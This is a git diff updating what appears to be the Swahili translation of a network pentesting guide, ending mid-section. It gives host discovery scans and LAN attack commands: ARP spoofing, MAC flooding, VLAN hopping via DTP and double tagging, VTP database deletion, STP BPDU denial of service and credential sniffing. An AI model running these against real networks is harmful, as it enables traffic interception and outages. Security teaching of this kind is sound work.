diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ad681ba95..df1a7762a 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -21,6 +21,7 @@ - [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md) - [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md) - [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md) + - [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md) - [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md) - [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md) diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index eb03edad3..8e85484c1 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -6,14 +6,14 @@ ## Kugundua mwenyeji kutoka nje -Hii itakuwa sehemu **fupi** kuhusu jinsi ya kupata **IPs zinazojibu** kutoka kwa **Mtandao**.\ +Hii itakuwa ni **sehemu fupi** kuhusu jinsi ya kupata **IPs zinazojibu** kutoka kwa **Mtandao**.\ Katika hali hii una **mipango ya IPs** (labda hata **mifumo kadhaa**) na unahitaji tu kupata **IPs zipi zinazojibu**. ### ICMP Hii ndiyo njia **rahisi** na **haraka** ya kugundua kama mwenyeji yupo au la.\ Unaweza kujaribu kutuma baadhi ya **ICMP** pakiti na **kusubiri majibu**. Njia rahisi ni kutuma tu **ombio la echo** na kusubiri majibu. Unaweza kufanya hivyo kwa kutumia `ping` rahisi au kutumia `fping` kwa **mifumo**.\ -Unaweza pia kutumia **nmap** kutuma aina nyingine za pakiti za ICMP (hii itakwepa filters za ombi la kawaida la ICMP echo-response). +Unaweza pia kutumia **nmap** kutuma aina nyingine za pakiti za ICMP (hii itakuepusha na filters za ombi la kawaida la echo la ICMP). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges @@ -22,22 +22,22 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet ### TCP Port Discovery Ni kawaida sana kukuta kwamba aina zote za pakiti za ICMP zinachujwa. Hivyo, unachoweza kufanya ili kuangalia kama mwenyeji yuko hewani ni **kujaribu kupata bandari zilizo wazi**. Kila mwenyeji ana **bandari 65535**, hivyo, ikiwa una "wigo mkubwa" huwezi **kujaribu** kama **kila bandari** ya kila mwenyeji iko wazi au la, hiyo itachukua muda mwingi.\ -Hivyo, unahitaji **scanner ya bandari ya haraka** ([masscan](https://github.com/robertdavidgraham/masscan)) na orodha ya **bandari zinazotumika zaidi:** +Hivyo, unachohitaji ni **scanner ya bandari ya haraka** ([masscan](https://github.com/robertdavidgraham/masscan)) na orodha ya **bandari zinazotumika zaidi:** ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` -Unaweza pia kufanya hatua hii kwa kutumia `nmap`, lakini inachukua muda mrefu na kwa namna fulani `nmap` ina matatizo ya kutambua mwenyeji aliye juu. +Unaweza pia kufanya hatua hii kwa kutumia `nmap`, lakini inachukua muda mrefu na kwa namna fulani `nmap` ina matatizo ya kutambua mwenyeji walio hai. ### Ugunduzi wa Bandari ya HTTP -Hii ni ugunduzi wa bandari ya TCP inayofaa unapotaka **kuzingatia kugundua huduma za HTTP**: +Hii ni ugunduzi wa bandari ya TCP ambao ni muhimu unapotaka **kuzingatia kugundua huduma za HTTP**: ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` ### UDP Port Discovery -Unaweza pia kujaribu kuangalia baadhi ya **UDP port open** ili uamue kama unapaswa **kuzingatia zaidi** **host.** Kwa kuwa huduma za UDP kwa kawaida **hazijibu** na **data yoyote** kwa pakiti ya kawaida ya UDP isiyo na maudhui, ni vigumu kusema kama port inachujwa au iko wazi. Njia rahisi ya kuamua hili ni kutuma pakiti inayohusiana na huduma inayotumika, na kwa kuwa hujui ni huduma ipi inayotumika, unapaswa kujaribu ile inayowezekana zaidi kulingana na nambari ya port: +Unaweza pia kujaribu kuangalia baadhi ya **UDP port open** ili uamue kama unapaswa **kulipa kipaumbele zaidi** kwa **host.** Kwa kuwa huduma za UDP kwa kawaida **hazijibu** na **data yoyote** kwa pakiti ya kawaida ya UDP isiyo na maudhui, ni vigumu kusema kama port inachujwa au iko wazi. Njia rahisi ya kuamua hili ni kutuma pakiti inayohusiana na huduma inayotumika, na kwa kuwa hujui ni huduma ipi inayotumika, unapaswa kujaribu ile inayowezekana zaidi kulingana na nambari ya port: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet @@ -60,7 +60,7 @@ Hapa unaweza kupata mwongozo mzuri wa mashambulizi yote maarufu ya Wifi wakati w ## Kugundua mwenyeji kutoka ndani -Ikiwa uko ndani ya mtandao, moja ya mambo ya kwanza unayotaka kufanya ni **kugundua wenyeji wengine**. Kulingana na **kiasi cha kelele** unachoweza/unayotaka kufanya, hatua tofauti zinaweza kuchukuliwa: +Ikiwa uko ndani ya mtandao, moja ya mambo ya kwanza unayotaka kufanya ni **kugundua wenyeji wengine**. Kulingana na **kiasi cha kelele** unachoweza/unataka kufanya, hatua tofauti zinaweza kuchukuliwa: ### Passive @@ -101,15 +101,15 @@ alive6 # Send a pingv6 to multicast. Kumbuka kwamba mbinu zilizozungumziwa katika _Discovering hosts from the outside_ ([_**ICMP**_](#icmp)) zinaweza pia **kutumika hapa**.\ Lakini, kwa kuwa uko katika **mtandao mmoja** na wenyeji wengine, unaweza kufanya **mambo zaidi**: -- Ikiwa unafanya **ping** kwenye **anwani ya matangazo ya subnet**, ping inapaswa kufika kwa **kila mwenyeji** na wanaweza **kujibu** **wewe**: `ping -b 10.10.5.255` -- Kufanya ping kwenye **anwani ya matangazo ya mtandao** unaweza hata kupata wenyeji ndani ya **subnets nyingine**: `ping -b 255.255.255.255` -- Tumia lippu `-PE`, `-PP`, `-PM` za `nmap` kufanya ugunduzi wa wenyeji kwa kutuma kwa mtiririko wa **ICMPv4 echo**, **timestamp**, na **maombi ya subnet mask:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` +- Ikiwa unafanya **ping** kwa **anwani ya subnet broadcast**, ping inapaswa kufika kwa **kila mwenyeji** na wanaweza **kujibu** **kwako**: `ping -b 10.10.5.255` +- Kufanya ping kwa **anwani ya mtandao broadcast** unaweza hata kupata wenyeji ndani ya **subnets nyingine**: `ping -b 255.255.255.255` +- Tumia lippu `-PE`, `-PP`, `-PM` za `nmap` kufanya ugunduzi wa wenyeji kwa kutuma kwa mtiririko **ICMPv4 echo**, **timestamp**, na **maombi ya subnet mask:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan inatumika **kuwasha** kompyuta kupitia **ujumbe wa mtandao**. Pakiti ya kichawi inayotumika kuwasha kompyuta ni pakiti tu ambapo **MAC Dst** inatolewa na kisha inarudiwa **mara 16** ndani ya pakiti hiyo hiyo.\ +Wake On Lan inatumika ku **washa** kompyuta kupitia **ujumbe wa mtandao**. Pakiti ya kichawi inayotumika kuwasha kompyuta ni pakiti tu ambapo **MAC Dst** inatolewa na kisha inarudiwa **mara 16** ndani ya pakiti hiyo hiyo.\ Kisha aina hii ya pakiti kawaida hutumwa katika **ethernet 0x0842** au katika **pakiti ya UDP kwa bandari 9**.\ -Ikiwa **hakuna \[MAC]** iliyotolewa, pakiti inatumwa kwa **broadcast ethernet** (na MAC ya matangazo itakuwa ile inayorudiwa). +Ikiwa **hakuna \[MAC]** iliyotolewa, pakiti inatumwa kwa **broadcast ethernet** (na MAC ya broadcast itakuwa ile inayorudiwa). ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 @@ -121,10 +121,10 @@ Mara tu umepata IP zote (za nje au za ndani) unazotaka kuskania kwa undani, hatu ### TCP -- **Port** iliyo **funguliwa**: _SYN --> SYN/ACK --> RST_ -- **Port** iliyo **fungwa**: _SYN --> RST/ACK_ -- **Port** iliyo **chujwa**: _SYN --> \[NO RESPONSE]_ -- **Port** iliyo **chujwa**: _SYN --> ujumbe wa ICMP_ +- **Port Iliyofunguliwa**: _SYN --> SYN/ACK --> RST_ +- **Port Iliyofungwa**: _SYN --> RST/ACK_ +- **Port Iliyofichwa**: _SYN --> \[HAUNA JIBU]_ +- **Port Iliyofichwa**: _SYN --> ujumbe wa ICMP_ ```bash # Nmap fast scan for the most 1000tcp ports used nmap -sV -sC -O -T4 -n -Pn -oA fastscan @@ -141,7 +141,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 Kuna chaguzi 2 za kuchunguza bandari ya UDP: - Tuma **UDP packet** na angalia majibu _**ICMP unreachable**_ ikiwa bandari ime **fungwa** (katika kesi kadhaa ICMP itachujwa hivyo hutapokea taarifa yoyote ikiwa bandari imefungwa au wazi). -- Tuma **formatted datagrams** ili kupata majibu kutoka kwa **huduma** (mfano, DNS, DHCP, TFTP, na wengine, kama ilivyoorodheshwa katika _nmap-payloads_). Ikiwa unapokea **majibu**, basi, bandari iko **wazi**. +- Tuma **formatted datagrams** ili kupata majibu kutoka kwa **huduma** (mfano, DNS, DHCP, TFTP, na wengine, kama ilivyoorodheshwa katika _nmap-payloads_). Ikiwa unapokea **majibu**, basi, bandari ni **wazi**. **Nmap** itachanganya **chaguzi zote** mbili kwa kutumia "-sV" (uchunguzi wa UDP ni polepole sana), lakini zingatia kwamba uchunguzi wa UDP ni polepole zaidi kuliko uchunguzi wa TCP: ```bash @@ -157,9 +157,9 @@ nmap -sU -sV --version-intensity 0 -n -T4 ``` ### SCTP Scan -**SCTP (Stream Control Transmission Protocol)** imeundwa kutumika pamoja na **TCP (Transmission Control Protocol)** na **UDP (User Datagram Protocol)**. Lengo lake kuu ni kuwezesha usafirishaji wa data za simu kupitia mitandao ya IP, ikionyesha sifa nyingi za kuaminika zinazopatikana katika **Signaling System 7 (SS7)**. **SCTP** ni sehemu ya msingi ya familia ya protokali ya **SIGTRAN**, ambayo inalenga kusafirisha ishara za SS7 kupitia mitandao ya IP. +**SCTP (Stream Control Transmission Protocol)** imeundwa kutumika pamoja na **TCP (Transmission Control Protocol)** na **UDP (User Datagram Protocol)**. Kusudi lake kuu ni kuwezesha usafirishaji wa data za simu kupitia mitandao ya IP, ikionyesha sifa nyingi za kuaminika zinazopatikana katika **Signaling System 7 (SS7)**. **SCTP** ni sehemu muhimu ya familia ya protokali ya **SIGTRAN**, ambayo inalenga kusafirisha ishara za SS7 kupitia mitandao ya IP. -Msaada kwa **SCTP** unapatikana kutoka kwa mifumo mbalimbali ya uendeshaji, kama vile **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, na **VxWorks**, ikionyesha kukubalika kwake pana na matumizi katika uwanja wa mawasiliano na mitandao. +Msaada wa **SCTP** unapatikana kutoka kwa mifumo mbalimbali ya uendeshaji, kama vile **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, na **VxWorks**, ikionyesha kukubalika kwake pana na matumizi katika uwanja wa mawasiliano na mitandao. Nmap inatoa scans mbili tofauti za SCTP: _-sY_ na _-sZ_ ```bash @@ -168,19 +168,19 @@ nmap -T4 -sY -n -oA SCTFastScan # Nmap all SCTP scan nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` -### IDS and IPS evasion +### IDS na IPS kukwepa {{#ref}} ids-evasion.md {{#endref}} -### **More nmap options** +### **Chaguzi zaidi za nmap** {{#ref}} nmap-summary-esp.md {{#endref}} -### Kuonyesha Anwani za IP za Ndani +### Kufichua Anwani za IP za Ndani **Router, firewalls, na vifaa vya mtandao vilivyopangwa vibaya** wakati mwingine vinajibu kwa uchunguzi wa mtandao kwa kutumia **anwani za chanzo zisizo za umma**. **tcpdump** inaweza kutumika kubaini pakiti zinazopokelewa kutoka kwa anwani za kibinafsi wakati wa majaribio. Kwa haswa, kwenye Kali Linux, pakiti zinaweza kukamatwa kwenye **eth2 interface**, ambayo inapatikana kutoka kwa Mtandao wa umma. Ni muhimu kutambua kwamba ikiwa mipangilio yako iko nyuma ya NAT au Firewall, pakiti kama hizo zinaweza kuchujwa. ```bash @@ -194,7 +194,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 Sniffing unaweza kujifunza maelezo ya anuwai za IP, ukubwa wa subnet, anwani za MAC, na majina ya mwenyeji kwa kupitia fremu na pakiti zilizokamatwa. Ikiwa mtandao umewekwa vibaya au kitambaa cha kubadili kiko chini ya shinikizo, washambuliaji wanaweza kukamata nyenzo nyeti kupitia sniffing ya mtandao isiyo ya moja kwa moja. -Ikiwa mtandao wa Ethernet ulio na kubadili umewekwa vizuri, utaona tu fremu za matangazo na nyenzo zinazokusudiwa kwa anwani yako ya MAC. +Ikiwa mtandao wa Ethernet uliohamasishwa umewekwa vizuri, utaona tu fremu za matangazo na nyenzo zinazokusudiwa kwa anwani yako ya MAC. ### TCPDump ```bash @@ -220,15 +220,15 @@ set net.sniff.regexp #If set only packets matching this regex will be considered Kwa wazi. -### Capturing credentials +### Kukamata akreditivu -Unaweza kutumia zana kama [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) kuchambua akiba kutoka kwa pcap au kiolesura cha moja kwa moja. +Unaweza kutumia zana kama [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) kuchambua akreditivu kutoka kwa pcap au kiolesura cha moja kwa moja. -## LAN attacks +## Mashambulizi ya LAN ### ARP spoofing -ARP Spoofing inajumuisha kutuma ARPResponses za bure kuashiria kwamba IP ya mashine ina MAC ya kifaa chetu. Kisha, mwathirika atabadilisha jedwali la ARP na atawasiliana na mashine yetu kila wakati anapotaka kuwasiliana na IP iliyopotoshwa. +ARP Spoofing inajumuisha kutuma ARPResponses za bure kuashiria kwamba IP ya mashine ina MAC ya kifaa chetu. Kisha, mwathirika atabadilisha jedwali la ARP na atawasiliana na mashine yetu kila wakati anapotaka kuwasiliana na IP iliyosafishwa. #### **Bettercap** ```bash @@ -246,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1 ``` ### MAC Flooding - CAM overflow -Mwagilia meza ya CAM ya swichi kwa kutuma pakiti nyingi zenye anwani tofauti za mac. Wakati meza ya CAM imejaa, swichi inaanza kujiendesha kama hub (ikitoa matangazo ya trafiki yote). +Zidisha jedwali la CAM la swichi kwa kutuma pakiti nyingi zenye anwani tofauti za mac. Wakati jedwali la CAM limejaa, swichi inaanza kujiendesha kama hub (ikitoa matangazo ya trafiki yote). ```bash macof -i ``` @@ -256,13 +256,13 @@ Katika swichi za kisasa, udhaifu huu umerekebishwa. #### Dynamic Trunking -**Dynamic Trunking Protocol (DTP)** imeundwa kama protokali ya tabaka la kiungo ili kuwezesha mfumo wa kiotomatiki wa trunking, ikiruhusu swichi kuchagua port kwa njia ya trunk (Trunk) au njia isiyo ya trunk kiotomatiki. Utekelezaji wa **DTP** mara nyingi huonekana kama ishara ya muundo wa mtandao usio bora, ikisisitiza umuhimu wa kuweka trunks kwa mikono tu pale inapotakiwa na kuhakikisha kuwa kuna nyaraka sahihi. +**Dynamic Trunking Protocol (DTP)** imeundwa kama itifaki ya tabaka la kiungo ili kuwezesha mfumo wa kiotomatiki wa trunking, ikiruhusu swichi kuchagua port kwa njia ya trunk (Trunk) au njia isiyo ya trunk kiotomatiki. Utekelezaji wa **DTP** mara nyingi huonekana kama ishara ya muundo wa mtandao usio bora, ikisisitiza umuhimu wa kuweka trunks kwa mikono tu pale inahitajika na kuhakikisha kuwa kuna nyaraka sahihi. -Kwa kawaida, port za swichi zimewekwa kufanya kazi katika hali ya Dynamic Auto, ikimaanisha ziko tayari kuanzisha trunking ikiwa itashawishiwa na swichi jirani. Wasiwasi wa usalama unatokea wakati pentester au mshambuliaji anapounganisha na swichi na kutuma fremu ya DTP Desirable, ikilazimisha port kuingia katika hali ya trunk. Kitendo hiki kinamwezesha mshambuliaji kuhesabu VLANs kupitia uchambuzi wa fremu za STP na kupita kwenye segmentation ya VLAN kwa kuanzisha interfaces za virtual. +Kwa kawaida, port za swichi zimewekwa kufanya kazi katika hali ya Dynamic Auto, ikimaanisha ziko tayari kuanzisha trunking ikiwa itasababishwa na swichi jirani. Wasiwasi wa usalama unatokea wakati pentester au mshambuliaji anapounganisha na swichi na kutuma fremu ya DTP Desirable, ikilazimisha port kuingia katika hali ya trunk. Kitendo hiki kinamwezesha mshambuliaji kuhesabu VLANs kupitia uchambuzi wa fremu za STP na kupita segmentation ya VLAN kwa kuanzisha interfaces za virtual. Uwepo wa DTP katika swichi nyingi kwa kawaida unaweza kutumika na maadui kuiga tabia ya swichi, hivyo kupata ufikiaji wa trafiki katika VLAN zote. Skripti [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) inatumika kufuatilia interface, ikifunua ikiwa swichi iko katika hali ya Default, Trunk, Dynamic, Auto, au Access—hali ya mwisho ikiwa ndio pekee iliyohakikishiwa dhidi ya shambulio la VLAN hopping. Chombo hiki kinakadiria hali ya udhaifu wa swichi. -Iwapo udhaifu wa mtandao utagundulika, chombo _**Yersinia**_ kinaweza kutumika "kuwezesha trunking" kupitia protokali ya DTP, ikiruhusu uchunguzi wa pakiti kutoka VLAN zote. +Iwapo udhaifu wa mtandao utagundulika, chombo _**Yersinia**_ kinaweza kutumika "kuwezesha trunking" kupitia itifaki ya DTP, ikiruhusu kuangalia pakiti kutoka VLAN zote. ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -275,11 +275,11 @@ yersinia -G #For graphic mode ``` ![](<../../images/image (269).png>) -Ili kuhesabu VLANs, pia inawezekana kuzalisha fremu ya DTP Desirable kwa kutumia script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Usikatishe script hiyo kwa hali yoyote. Inachoma DTP Desirable kila sekunde tatu. **Makanali ya trunk iliyoundwa kwa njia ya kidinamikia kwenye swichi inaishi kwa dakika tano tu. Baada ya dakika tano, trunk inanguka.** +Ili kuhesabu VLANs, pia inawezekana kuzalisha fremu ya DTP Desirable kwa kutumia script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Usikatishe script hiyo kwa hali yoyote. Inachoma DTP Desirable kila sekunde tatu. **Makanali ya trunk yaliyoundwa kwa njia ya kidinamikia kwenye swichi yanaishi kwa dakika tano tu. Baada ya dakika tano, trunk inanguka.** ``` sudo python3 DTPHijacking.py --interface eth0 ``` -Ningependa kuonyesha kwamba **Access/Desirable (0x03)** inaonyesha kwamba fremu ya DTP ni ya aina ya Desirable, ambayo inamwambia port ibadilike kuwa katika hali ya Trunk. Na **802.1Q/802.1Q (0xa5)** inaonyesha aina ya encapsulation ya **802.1Q**. +Ningependa kuonyesha kwamba **Access/Desirable (0x03)** inaonyesha kwamba fremu ya DTP ni ya aina ya Desirable, ambayo inamwambia bandari ibadilike kuwa katika hali ya Trunk. Na **802.1Q/802.1Q (0xa5)** inaonyesha aina ya encapsulation ya **802.1Q**. Kwa kuchambua fremu za STP, **tunajifunza kuhusu uwepo wa VLAN 30 na VLAN 60.** @@ -287,7 +287,7 @@ Kwa kuchambua fremu za STP, **tunajifunza kuhusu uwepo wa VLAN 30 na VLAN 60.** #### Kushambulia VLAN maalum -Mara tu unavyojua IDs za VLAN na thamani za IP, unaweza **kuunda interface ya virtual ili kushambulia VLAN maalum**.\ +Mara tu unavyojua IDs za VLAN na thamani za IP, unaweza **kuunda kiunganishi cha virtual kushambulia VLAN maalum**.\ Ikiwa DHCP haipatikani, basi tumia _ifconfig_ kuweka anwani ya IP ya kudumu. ``` root@kali:~# modprobe 8021q @@ -327,9 +327,9 @@ Shambulio lililozungumziwa la **Dynamic Trunking na kuunda interfaces za virtual #### Double Tagging -Ikiwa mshambuliaji anajua thamani ya **MAC, IP na VLAN ID ya mwenyeji wa kidhulumu**, anaweza kujaribu **kugonga mara mbili fremu** kwa VLAN yake iliyoteuliwa na VLAN ya kidhulumu na kutuma pakiti. Kwa kuwa **kidhulumu hakiwezi kuungana tena** na mshambuliaji, hivyo **chaguo bora kwa mshambuliaji ni kuwasiliana kupitia UDP** kwa protokali ambazo zinaweza kufanya vitendo vya kuvutia (kama SNMP). +Ikiwa mshambuliaji anajua thamani ya **MAC, IP na VLAN ID ya mwenyeji wa kidhulumu**, anaweza kujaribu **kugonga mara mbili frame** na VLAN yake iliyoteuliwa na VLAN ya kidhulumu na kutuma pakiti. Kwa kuwa **kidhulumu hakiwezi kuungana tena** na mshambuliaji, hivyo **chaguo bora kwa mshambuliaji ni kuwasiliana kupitia UDP** kwa protokali ambazo zinaweza kufanya vitendo vya kuvutia (kama SNMP). -Chaguo lingine kwa mshambuliaji ni kuzindua **TCP port scan ikijifanya kuwa IP inayodhibitiwa na mshambuliaji na inayopatikana na kidhulumu** (labda kupitia intaneti). Kisha, mshambuliaji anaweza kunusa katika mwenyeji wa pili aliye na yeye ikiwa unapata pakiti kutoka kwa kidhulumu. +Chaguo lingine kwa mshambuliaji ni kuzindua **TCP port scan ikijifanya kuwa IP inayodhibitiwa na mshambuliaji na inayopatikana na kidhulumu** (labda kupitia intaneti). Kisha, mshambuliaji anaweza kunusa katika mwenyeji wa pili aliye na yeye ikiwa unapata baadhi ya pakiti kutoka kwa kidhulumu. ![](<../../images/image (190).png>) @@ -342,7 +342,7 @@ sendp(packet) ``` #### Lateral VLAN Segmentation Bypass -Ikiwa una **ufikiaji wa swichi ambayo umeunganishwa moja kwa moja**, una uwezo wa **kuzidi segmentation ya VLAN** ndani ya mtandao. Rahisi tu **badilisha bandari kuwa katika hali ya trunk** (inayojulikana pia kama trunk), tengeneza interfaces za virtual zikiwa na IDs za VLAN zinazolengwa, na uweke anwani ya IP. Unaweza kujaribu kuomba anwani hiyo kwa njia ya kidinamik (DHCP) au unaweza kuipanga kwa njia ya statiki. Inategemea hali. +Ikiwa una **ufikiaji wa swichi ambayo umeunganishwa moja kwa moja**, una uwezo wa **kuzidi segmentation ya VLAN** ndani ya mtandao. Rahisi tu **badilisha bandari kuwa katika hali ya trunk** (inayojulikana pia kama trunk), tengeneza interfaces za virtual zenye IDs za VLAN zinazolengwa, na uweke anwani ya IP. Unaweza kujaribu kuomba anwani hiyo kwa njia ya kidinamik (DHCP) au unaweza kuiseti kwa njia ya statiki. Inategemea hali. {{#ref}} lateral-vlan-segmentation-bypass.md @@ -350,32 +350,32 @@ lateral-vlan-segmentation-bypass.md #### Layer 3 Private VLAN Bypass -Katika mazingira fulani, kama vile mitandao ya wireless ya wageni, mipangilio ya **port isolation (inayojulikana pia kama private VLAN)** inatekelezwa ili kuzuia wateja waliounganishwa na pointi za ufikiaji wa wireless kuwasiliana moja kwa moja. Hata hivyo, mbinu imegundulika ambayo inaweza kuzunguka hatua hizi za kutengwa. Mbinu hii inatumia ama ukosefu wa ACL za mtandao au mipangilio yao isiyo sahihi, ikiruhusu pakiti za IP kupitishwa kupitia router ili kufikia mteja mwingine kwenye mtandao huo huo. +Katika mazingira fulani, kama vile mitandao ya wireless ya wageni, mipangilio ya **port isolation (inayojulikana pia kama private VLAN)** inatekelezwa ili kuzuia wateja waliounganishwa na pointi za ufikiaji wa wireless kuwasiliana moja kwa moja. Hata hivyo, mbinu imegundulika ambayo inaweza kuzunguka hatua hizi za kutengwa. Mbinu hii inatumia ama ukosefu wa ACL za mtandao au usanidi wao usio sahihi, ikiruhusu pakiti za IP kupitishwa kupitia router ili kufikia mteja mwingine kwenye mtandao huo. -Shambulio linafanywa kwa kuunda **pakiti inayobeba anwani ya IP ya mteja wa mwisho lakini ikiwa na anwani ya MAC ya router**. Hii inasababisha router kupeleka pakiti hiyo kwa makosa kwa mteja anayelengwa. Njia hii ni sawa na ile inayotumiwa katika Shambulio za Double Tagging, ambapo uwezo wa kudhibiti mwenyeji anayepatikana kwa mwathirika unatumika kutekeleza kasoro ya usalama. +Shambulio linafanywa kwa kuunda **pakiti inayobeba anwani ya IP ya mteja wa marudio lakini ikiwa na anwani ya MAC ya router**. Hii inasababisha router kupeleka pakiti hiyo kwa makosa kwa mteja wa lengo. Njia hii ni sawa na ile inayotumika katika Shambulio za Double Tagging, ambapo uwezo wa kudhibiti mwenyeji anayepatikana kwa mwathirika unatumika kutekeleza kasoro ya usalama. **Hatua Muhimu za Shambulio:** -1. **Kujenga Pakiti:** Pakiti inaundwa kwa njia maalum ili kujumuisha anwani ya IP ya mteja anayelengwa lakini ikiwa na anwani ya MAC ya router. -2. **Kutatua Tabia ya Router:** Pakiti iliyoundwa inatumwa kwa router, ambayo, kutokana na mipangilio, inapeleka pakiti hiyo kwa mteja anayelengwa, ikipita kutengwa kunakotolewa na mipangilio ya private VLAN. +1. **Kuunda Pakiti:** Pakiti inaundwa kwa njia maalum ili kujumuisha anwani ya IP ya mteja wa lengo lakini ikiwa na anwani ya MAC ya router. +2. **Kutatua Tabia ya Router:** Pakiti iliyoundwa inatumwa hadi kwa router, ambayo, kutokana na usanidi, inarudisha pakiti hiyo kwa mteja wa lengo, ikipita hatua za kutengwa zinazotolewa na mipangilio ya private VLAN. ### VTP Attacks -VTP (VLAN Trunking Protocol) inakusanya usimamizi wa VLAN. Inatumia nambari za marekebisho kudumisha uaminifu wa hifadhidata ya VLAN; mabadiliko yoyote huongeza nambari hii. Swichi zinachukua mipangilio yenye nambari za marekebisho za juu, zikisasisha hifadhidata zao za VLAN. +VTP (VLAN Trunking Protocol) inakusanya usimamizi wa VLAN. Inatumia nambari za marekebisho kudumisha uaminifu wa hifadhidata ya VLAN; mabadiliko yoyote huongeza nambari hii. Swichi zinachukua usanidi wenye nambari za marekebisho za juu, zikisasisha hifadhidata zao za VLAN. #### VTP Domain Roles - **VTP Server:** Inasimamia VLANs—inaunda, inafuta, inabadilisha. Inatangaza matangazo ya VTP kwa wanachama wa eneo. -- **VTP Client:** Inapokea matangazo ya VTP ili kuunganisha hifadhidata yake ya VLAN. Jukumu hili haliruhusiwi kufanya mabadiliko ya mipangilio ya VLAN za ndani. -- **VTP Transparent:** Hailihusishi katika masasisho ya VTP lakini inapeleka matangazo ya VTP. Haijaguswa na shambulio za VTP, inashikilia nambari ya marekebisho isiyobadilika ya sifuri. +- **VTP Client:** Inapokea matangazo ya VTP ili kuunganisha hifadhidata yake ya VLAN. Jukumu hili haliruhusiwi kufanya mabadiliko ya usanidi wa VLAN za ndani. +- **VTP Transparent:** Hailihusishi katika masasisho ya VTP lakini inapeleka matangazo ya VTP. Haithiriwi na shambulio za VTP, inashikilia nambari ya marekebisho isiyobadilika ya sifuri. #### VTP Advertisement Types - **Summary Advertisement:** Inatangazwa na VTP server kila sekunde 300, ikibeba taarifa muhimu za eneo. -- **Subset Advertisement:** Inatumwa kufuatia mabadiliko ya mipangilio ya VLAN. -- **Advertisement Request:** Inatolewa na VTP client kuomba Summary Advertisement, kawaida kama jibu la kugundua nambari ya marekebisho ya mipangilio ya juu. +- **Subset Advertisement:** Inatumwa kufuatia mabadiliko ya usanidi wa VLAN. +- **Advertisement Request:** Inatolewa na VTP client kuomba Summary Advertisement, kawaida kama jibu la kugundua nambari ya marekebisho ya usanidi iliyo juu. -Uhalifu wa VTP unaweza kutumika pekee kupitia bandari za trunk kwani matangazo ya VTP yanazunguka kupitia hizo pekee. Baada ya hali za shambulio za DTP, huenda zikageukia VTP. Zana kama Yersinia zinaweza kusaidia shambulio za VTP, zikilenga kufuta hifadhidata ya VLAN, kwa ufanisi kuharibu mtandao. +Uhalifu wa VTP unaweza kutekelezwa pekee kupitia bandari za trunk kwani matangazo ya VTP yanazunguka kupitia hizo pekee. Baada ya hali za shambulio za DTP, huenda zikageukia VTP. Zana kama Yersinia zinaweza kusaidia shambulio za VTP, zikilenga kufuta hifadhidata ya VLAN, na hivyo kuharibu mtandao. Kumbuka: Majadiliano haya yanahusiana na toleo la VTP 1 (VTPv1). ````bash @@ -389,7 +389,7 @@ Katika hali ya picha ya Yersinia, chagua chaguo la kufuta VTP vlans zote ili kuf #### **STP BPDU DoS** -Kutuma BPDUs nyingi za TCP (Notification ya Mabadiliko ya Topolojia) au Conf (BPDUs zinazotumwa wakati topolojia inaundwa) swichi zinachanganyikiwa na kuacha kufanya kazi ipasavyo. +Kutuma BPDUs nyingi za TCP (Notification ya Mabadiliko ya Topolojia) au Conf (BPDUs ambazo zinatumwa wakati topolojia inaundwa) swichi zinachanganyikiwa na kuacha kufanya kazi ipasavyo. ```bash yersinia stp -attack 2 yersinia stp -attack 3 @@ -421,9 +421,9 @@ CISCO Discovery Protocol (CDP) ni muhimu kwa mawasiliano kati ya vifaa vya CISCO #### Kukusanya Data kwa Njia ya Pasifiki -CDP imewekwa ili kutangaza habari kupitia bandari zote, ambayo inaweza kusababisha hatari ya usalama. Mshambuliaji, anapounganisha kwenye bandari ya swichi, anaweza kutumia waandishi wa mtandao kama **Wireshark**, **tcpdump**, au **Yersinia**. Kitendo hiki kinaweza kufichua data nyeti kuhusu kifaa cha mtandao, ikiwa ni pamoja na 